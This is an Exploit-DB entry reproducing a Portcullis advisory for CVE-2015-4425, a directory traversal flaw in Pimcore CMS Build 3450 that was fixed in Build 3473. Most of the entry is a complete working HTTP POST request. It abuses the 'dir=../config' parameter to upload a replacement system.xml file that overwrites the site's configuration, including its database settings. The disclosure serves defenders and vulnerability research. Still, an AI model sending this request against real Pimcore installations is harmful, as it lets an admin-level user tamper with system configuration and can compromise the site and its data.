Exploit-DB #37609
Description: Pimcore CMS Build 3450 - Directory Traversal
Type: webapps
Platform: xml
Date: 2015-07-14
Author: Portcullis

Exploit:
Vulnerability title: Directory Traversal/Configuration Update In Pimcore CMS
CVE: CVE-2015-4425
Vendor: Pimcore
Product: Pimcore CMS
Affected version: Build 3450
Fixed version: Build 3473
Reported by: Josh Foote
Details:

It is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.

The following request can be used to update the ‘system.xml’ file of the web application:

POST /admin/asset/add-asset-compatibility/?parentId=1&dir=../config HTTP/1.1
Host: pimcore.com
Connection: keep-alive
Content-Length: 1502
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: multipart/form-data; boundary=-------[PII_REDACTED]
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: PHPSESSID=nnmupv1knofcpdgjdnivdr4v27; cookie-warn=true; _ga=GA1.2[PII_REDACTED][PII_REDACTED]; pimcore_admin_sid=j79b6ad4afkjimslbj8l5ifuo4

---------[PII_REDACTED]
Content-Disposition: form-data; name="Filedata"; filename="system.xml" 
Content-Type: application/xml

<?xml version="1.0"?>
<zend-config xmlns:zf="http://framework.zend.com/xml/zend-config-xml/1.0/">
  <general>
    <timezone>Europe/Berlin</timezone>
    <language>en</language>
    <validLanguages>en</validLanguages>
    <debug>1</debug>
    <debugloglevel>debug</debugloglevel>
    <custom_php_logfile>1</custom_php_logfile>
  </general>
  <database>
    <adapter>Mysqli</adapter>
    <params>
      <username>root</username>
      <password>PASSWORD</password>
      <dbname>pimcore</dbname>
      <host>localhost</host>
      <port>3306</port>
    </params>
  </database>
  <documents>
    <versions>
      <steps>10</steps>
    </versions>
    <default_controller>default</default_controller>
    <default_action>default</default_action>
    <error_pages>
      <default>/</default>
    </error_pages>
    <createredirectwhenmoved/>
    <allowtrailingslash>no</allowtrailingslash>
    <allowcapitals>no</allowcapitals>
    <generatepreview>1</generatepreview>
  </documents>
  <objects>
    <versions>
      <steps>10</steps>
    </versions>
  </objects>
  <assets>
    <versions>
      <steps>10</steps>
    </versions>
  </assets>
  <services/>
  <cache>
    <excludeCookie/>
  </cache>
  <httpclient>
    <adapter>Zend_Http_Client_Adapter_Socket</adapter>
  </httpclient>
</zend-config>



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4425/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

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